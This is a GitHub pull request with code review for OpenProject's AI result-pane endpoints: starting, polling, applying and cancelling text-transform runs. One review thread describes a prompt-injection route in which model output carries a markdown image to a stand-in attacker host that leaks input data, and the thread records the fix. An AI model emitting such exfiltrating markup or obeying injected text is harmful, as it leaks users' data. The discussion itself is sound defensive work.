Skip to content

[AI-175] Result pane endpoints - #26138

Open
jonasjabari wants to merge 9 commits into
devfrom
implementation/ai-175-result-pane-endpoints
Open

jonasjabari wants to merge 9 commits into
devfrom
implementation/ai-175-result-pane-endpoints

Conversation

@jonasjabari

@jonasjabari jonasjabari commented Oct 19, 2026 •

Copy link
Copy Markdown
Collaborator

Ticket

https://community.openproject.org/wp/AI-175

What are you trying to accomplish?

Server side of the AI result pane (AI-126), part 1 of AI-175. A new Turbo controller starts a text transform run, appends the pane to <body>, answers polls with formatted progress and hands the finished text back to the editor. Everything is behind the ai_text_transform_actions feature flag; there is no client code yet (AI-176).

  • POST /ai/text_transform_panes: start a run (or retry a failed one) and append the pane
  • GET …/:uuid?after=&state=: poll. 204 while the events and the state the client shows are unchanged, otherwise updates the body and footer
  • DELETE …/:uuid: close the pane, cancel the run, dispatch closed; always gets through, even with bad params
  • POST …/:uuid/apply: dispatch op-dispatched:ai-text-transform:accepted with the completed text (taken from the run, never from the client)
  • POST …/:uuid/cancel: stop a run whose pane disappeared (for navigator.sendBeacon / keepalive on page leave, AI-176)

What approach did you choose and why?

  • Context and permissions go through ResolveContext (AI-174), on create, apply and rendering polls. Run lookups are scoped to the current user's runs, so another user's run is a 404.
  • Model output is untrusted (prompt injection via templates or other people's text). The pane renders it with format_text(untrusted_source: true): images become links and macros are dropped, so nothing is fetched before the user reviews it.
  • A DryApplicationContract validates request_id (UUID v4), scope and the context ids, with the same combination rules as the API v3 run endpoint. Invalid input gets a 400.
  • Split: wiring the footer buttons to these endpoints (Turbo forms and the state element for polling) comes in a follow-up PR after [AI-173] Floating pane behaviour #26091 (AI-173). That PR changes the same component files.
  • Small shared pieces: TextTransformRun#request_cancel! (also used by the API cancel) and OpTurbo::ComponentStream#append_to_body_via_turbo_stream.
  • Follow-ups in AI-198: persist the pane request on the run, idempotent start, cancel queued runs before the LLM call, poll throttling.

AI involvement

Collaborative – AI generated a substantial part of the code; I reviewed and understand every line.

Merge checklist

  • Added/updated tests
  • Added/updated documentation in Lookbook (patterns, previews, etc)
  • Tested major browsers (Chrome, Firefox, Edge, ...)

🤖 Generated with Claude Code

jonasjabari and others added 5 commits October 19, 2026 15:07
Routes under /ai/text_transform_panes for starting, polling, closing,
applying and cancelling a result pane run. The contract validates the
request id (UUID v4), scope and context ids every pane request carries.

Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com>
The create action resolves the context, starts a run (or repeats one
of the user's own runs) and appends the pane to the body. Unavailable
actions render the pane as failed; invalid parameters answer 400.

Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com>
show answers polls with updated body and footer sections (204 while
nothing changed), destroy cancels the run and removes the pane, apply
dispatches the completed text to the editor and cancel stops a run
whose pane disappeared. All lookups are scoped to the user's own runs.

Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com>
Validate action_id, input and retry_of in the contract, reject a work
package combined with a project and a project without a type (like the
API v3 run endpoint), and accept blank context ids. Only failed runs
can be retried. Polls resolve the context only when they render, the
pane append renders lazily like the other turbo stream helpers, and
new events are detected through TextTransformRun#events_after.

Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com>
Panes for a new work package have no work package to derive the
project from, so project-relative links such as wiki links did not
resolve. The pane state now carries the context's project.

Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com>
@jonasjabari jonasjabari added the ai: Collaborative 💻 AI generated a substantial part of the code; A human reviewed and understands every line. label Oct 19, 2026
@jonasjabari jonasjabari self-assigned this Oct 19, 2026
@jonasjabari
jonasjabari marked this pull request as ready for review October 21, 2026 13:28
@github-actions

Copy link
Copy Markdown

Caution

The provided work package version does not match the core version

Details:

Please make sure that:

  • The work package version OR your pull request target branch is correct

@jonasjabari
jonasjabari requested a review from akabiru October 21, 2026 15:33

@akabiru akabiru left a comment •

Copy link
Copy Markdown
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

First pass with review 🤖

(🍊 - shoud fix/discuss)
(🍏 - nits)


def output
helpers.format_text(pane.text, object: pane.work_package)
helpers.format_text(pane.text, object: pane.work_package, project: pane.project)

Copy link
Copy Markdown
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🍊 This renders model output through the full markdown pipeline while it is still streaming, and the default CSP allows images from any host. Text that reaches the model can carry an injection (a comment someone else wrote, a type template), and the model can answer with ![](https://attacker.tld/?d=...) carrying a fragment of the input. The browser fetches that before the user has reviewed anything.

Shall we strip images (or at least non-same-origin ones) and macros when rendering the pane? The <template> apply text can stay as is. Not verified end to end that format_text keeps external <img>; worth a quick console check.

@akabiru akabiru Oct 23, 2026 •

Copy link
Copy Markdown
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

@jonasjabari this sounds legit, have we already considered prompt injection mitigations?

Copy link
Copy Markdown
Collaborator Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Good catch, and confirmed: csp_img_src defaults to * and the sanitizer keeps img[src]. No dedicated injection mitigation existed before this. Fixed in e29a2c5: new opt-in UntrustedSourceFilter via format_text(untrusted_source: true). Images become links ("Image: alt") and macros are dropped, so nothing is fetched before the user reviews it. The raw <template> text stays as is.

before_action :require_login
before_action :require_ai_text_transform_actions_feature
authorization_checked! :create, :show, :destroy, :apply, :cancel
before_action :validate_pane_params, except: :cancel

Copy link
Copy Markdown
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🍊 destroy runs the full contract too. A close request with a missing or bad request_id or scope gets a 400 and the run is never cancelled, so the LLM keeps going. Closing is the one request that should always get through.

The run stores no request_id, scope or context, so the client has to echo all of them on every poll, close and apply, and uuid plus request_id become two identities for one thing. Persisting them on the run at create would let show, destroy and apply work from the uuid alone and limit the contract to create. Fine as a follow-up; for now, validating only request_id on destroy would close the gap.

Copy link
Copy Markdown
Collaborator Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Done in a4c5059: destroy skips the contract, always cancels and removes the pane, and dispatches closed only with a valid request_id. Persisting request_id, scope and context on the run is in AI-198.

end

def request_cancel(cancellable)
cancellable.update!(cancel_requested: true) unless cancellable.terminal?

Copy link
Copy Markdown
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🍊 Same line as the API v3 cancel. Shall we move it onto the model so both call sites share it?

# AI::TextTransformRun
def request_cancel!
  update_column(:cancel_requested, true) unless terminal?
end

update! also runs the full validations here, so an odd run record (long input, missing system prompt) turns a close into a 500.

Copy link
Copy Markdown
Collaborator Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Done in 6254eca with update_column; the API cancel uses it too. Cancelling queued runs before the LLM call is in AI-198.

end

def apply
return head(:unprocessable_entity) unless run.succeeded?

Copy link
Copy Markdown
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🍊 show re-resolves the context and gives 403 once edit permission is gone, but apply does not, so the text can still be applied into a work package the user can no longer edit. Either before_action :resolve_context, only: %i[create apply] with show reusing it, or a note that the client owns this check.

Copy link
Copy Markdown
Collaborator Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Done: apply resolves the context as well (403 once the edit permission is gone).

before_action :resolve_context, only: :create

def show
return head(:no_content) unless run.terminal? || new_events?

Copy link
Copy Markdown
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🍊 A terminal run never answers 204, so every poll after completion loads all events, re-joins the text, runs format_text and resolves the context again. While generating, each updating poll re-renders the full text too, so the work grows quadratically with output length, with no rate limit on the endpoint.

Shall we 204 when after >= last_seq for terminal runs as well, and pin in the AI-176 contract that the client stops polling on done, failed, stopped and cancelled? A Cache-Control: no-store on the 204 would not hurt either.

Copy link
Copy Markdown
Collaborator Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Done slightly differently. A plain after >= last_seq would strand a pane, because completed is written before the status flips and cancelled writes no event. Polls now send the state they show, and the server answers 204 while events and state are unchanged, also for finished runs. Stopping on terminal states is pinned in the AI-176 contract. Throttling is in AI-198.

include AI::TextTransformActionsFeature

APPLY_EVENT = "op-dispatched:ai-text-transform:apply"
CLOSED_EVENT = "op-dispatched:ai-text-transform:closed"

Copy link
Copy Markdown
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🍏 apply is imperative and closed a past participle. Worth settling before AI-176 ships, since renaming later breaks the client.

Copy link
Copy Markdown
Collaborator Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Renamed to op-dispatched:ai-text-transform:accepted. The other dispatched events all report what happened (changed, updated, moved), and at that point the text is not applied yet. The route stays apply.

Comment thread config/locales/en.yml Outdated
not_unique: "must be unique within the same hierarchy level."
parent:
not_descendant: "must be a descendant of the hierarchy root."
project_id:

Copy link
Copy Markdown
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🍏 These are scoped by field name only, so any later contract with a project_id or type_id rule collides. Namespacing under the contract would avoid that.

Copy link
Copy Markdown
Collaborator Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Done: namespaced under op_dry_validation.errors.ai_text_transform_pane.

expect(response).to have_http_status(:not_found)
end

it "rejects a request id that is not a UUID" do

Copy link
Copy Markdown
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🍏 These six 400 variants are near-identical. A contract spec (or one table-driven example) plus a single 400 request example would say the same with less.

Not covered yet: flag off for show, apply, cancel and destroy; unauthenticated; retry_of pointing at a run that is not failed; a type from a different project; apply text containing <, quotes and </template>.

Copy link
Copy Markdown
Collaborator Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Done: a table-driven contract spec and one 400 request example, plus the missing cases (flag off for every action, anonymous user, retry of a non-failed run, a type outside the project, markup in the text).

end

describe "POST apply" do
it "hands the completed text to the editor" do

Copy link
Copy Markdown
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🍏 A text param sent by the client and ignored would pin the "never from the client" claim.

Copy link
Copy Markdown
Collaborator Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Added.

before { run.events.build(kind: "text_delta", payload: { "delta" => " [[Release notes]]" }, seq: 2) }

it "resolves wiki links within the project" do
expect(subject).to have_css("a[href^='/projects/#{project.identifier}/wiki/release-notes']", text: "Release notes")

Copy link
Copy Markdown
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🍏 have_link("Release notes", href: ...) matches the selector conventions better than the css prefix.

Copy link
Copy Markdown
Collaborator Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Done, with a regex href (the link carries ?title=).

jonasjabari and others added 4 commits October 26, 2026 13:04
TextTransformRun#request_cancel! replaces the inline update in the API
cancel endpoint. It writes the flag with update_column, so closing a
pane cannot fail on validations of an otherwise unchanged run.

Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com>
The pane renders model output while it streams, before the user has
reviewed it. An image in that output would be fetched right away and
could carry parts of the input to a foreign host (prompt injection via
a template or someone else's text). format_text(untrusted_source: true)
now turns images into links and drops macros; the raw text kept for
Replace is unchanged.

Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com>
For elements that live outside the page layout, like the AI result
pane. Renders lazily like the other turbo stream helpers.

Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com>
- destroy always cancels and removes the pane; closed is dispatched
  only with a valid request id
- apply re-checks the context like polls do
- polls may send the state they show and get 204 while it and the
  events are unchanged, also for finished runs
- not found and forbidden answer without an HTML body
- the contract rejects retry_of together with an action or input,
  limits input to the run's maximum, lists its keys literally and
  namespaces its messages
- the pane state takes the resolved Context instead of single ids
- the apply event is renamed to accepted, in line with the other
  op-dispatched events
- a table-driven contract spec replaces the separate 400 examples;
  new request examples for the feature flag on every action, an
  anonymous user, a type outside the project, markup in the text and
  a text sent by the client

Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com>
@jonasjabari

Copy link
Copy Markdown
Collaborator Author

@akabiru thanks for the thorough pass! Everything is addressed in 6254eca..a4c5059. Short answers are in the threads. Follow-ups (persist the pane request on the run, idempotent start, cancel queued runs before the LLM call, poll throttling) are in AI-198. The diff grew mostly in specs.

@jonasjabari
jonasjabari requested a review from akabiru October 26, 2026 12:28

This branch has not been deployed

No deployments
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

ai: Collaborative 💻 AI generated a substantial part of the code; A human reviewed and understands every line.

Development

Successfully merging this pull request may close these issues.

2 participants